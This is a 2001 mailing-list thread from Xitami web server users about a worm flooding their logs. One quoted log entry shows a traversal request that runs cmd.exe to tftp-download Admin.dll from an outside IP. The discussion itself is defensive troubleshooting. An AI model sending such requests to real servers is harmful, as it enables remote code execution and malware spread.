[Xitami] "GET /scripts/.......

[Raymond Judge]

Does running an Xitami server on an alternate port other than 80 prevent the
latest worm from attacking?

-----Original Message-----
From: xitami-admin@lists.xitami.org
[mailto:xitami-admin@lists.xitami.org]On Behalf Of John Jonas
Sent: Thursday, September 20, 2001 1:29 PM
To: xitami@lists.xitami.org
Subject: Re: [Xitami] "GET /scripts/.......


Samething happening running W2K Pro with 2.4d7.  As noted the only effect
seems to be log file size.  Bandwidth seems uneffected at this point as we
are
only getting a few thousand hits per day from it, but this might change as
the
worm gets more wide spread or if you have a better known site.

Melle.koning@endemol.nl wrote:

> > | > Today I'm getting many thousands of hits from hundreds of
> > IP's on a
> > | > single Win95 machine running only Xitami b5.  The log shows the
> > | > following...
> > | >
> > | > 216.254.74.234 - - [18/Sep/2001:15:50:57 -0500] "GET
> > | > /scripts/..%%35c../winnt/system32/cmd.exe?/c+tftp%20-
> > | > i%20216.254.74.234%20GET%20Admin.dll%20c:\Admin.dll HTTP/1.0"
> > | > 200 -1 "" ""
> I've got the same problem with my w98se/xitami version.
> The log files grow extremely large so I've tuned the maximum KB of the log
> files down a bit.
>
> For as far as I can see now the system is not infected and the virus only
> touches IIS and PWS servers, xitami is not infected as far as I know.


--
Xitami Users Mailing List -- For Xitami support
To unsubscribe: http://lists.xitami.org/mailman/listinfo/xitami